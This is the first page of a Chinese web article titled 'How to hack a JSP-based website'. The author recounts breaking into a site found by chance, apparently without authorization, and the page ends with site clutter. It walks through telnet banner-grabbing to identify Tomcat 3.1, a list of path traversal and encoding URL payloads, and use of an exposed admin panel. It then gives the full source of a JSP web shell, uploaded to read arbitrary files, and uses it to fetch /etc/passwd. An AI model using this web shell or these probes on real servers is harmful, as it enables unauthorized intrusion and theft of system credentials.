如何入侵基于JSP的网站

csdnsa_yvfa

csdnsa_yvfa

2016-01-29 12:30

如何入侵基于JSP的网站,如何入侵基于JSP的网站
  很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

  返回的结果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

〈h1〉Error: 404〈/h1〉
〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL

  获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

  回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)

  看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

http://target:8080/admin/

  管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

  接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

〈%@ page import="java.io.*" %〉
〈%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(IOException e){}
%〉

  然后执行:

http://target:8080/upload/test.jsp?file=/etc/passwd



   密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/java/)

本新闻共2页,当前在第1页  1  2  

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/java/)
展开更多 50%)
分享

猜你喜欢

如何入侵基于JSP的网站

Java JAVA基础
如何入侵基于JSP的网站

现场纪实—如何入侵基于JSP的网站

Java JAVA基础
现场纪实—如何入侵基于JSP的网站

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

如何入侵jsp网站

Web开发
如何入侵jsp网站

基于JSP的动态网站开发技术

Web开发
基于JSP的动态网站开发技术

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

黑客入侵 SCO 网站

Linux Linux命令 Linux安装 Linux编程 Linux桌面 Linux软件 Linux内核 Linux管理
黑客入侵 SCO 网站

SQL注入网站入侵实例

编程语言 网络编程
SQL注入网站入侵实例

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

Flash鼠绘教程:喜鹊登红梅的绘制

Flash鼠绘教程:喜鹊登红梅的绘制

JSP技术生成动态web页面

JSP技术生成动态web页面
下拉加载更多内容 ↓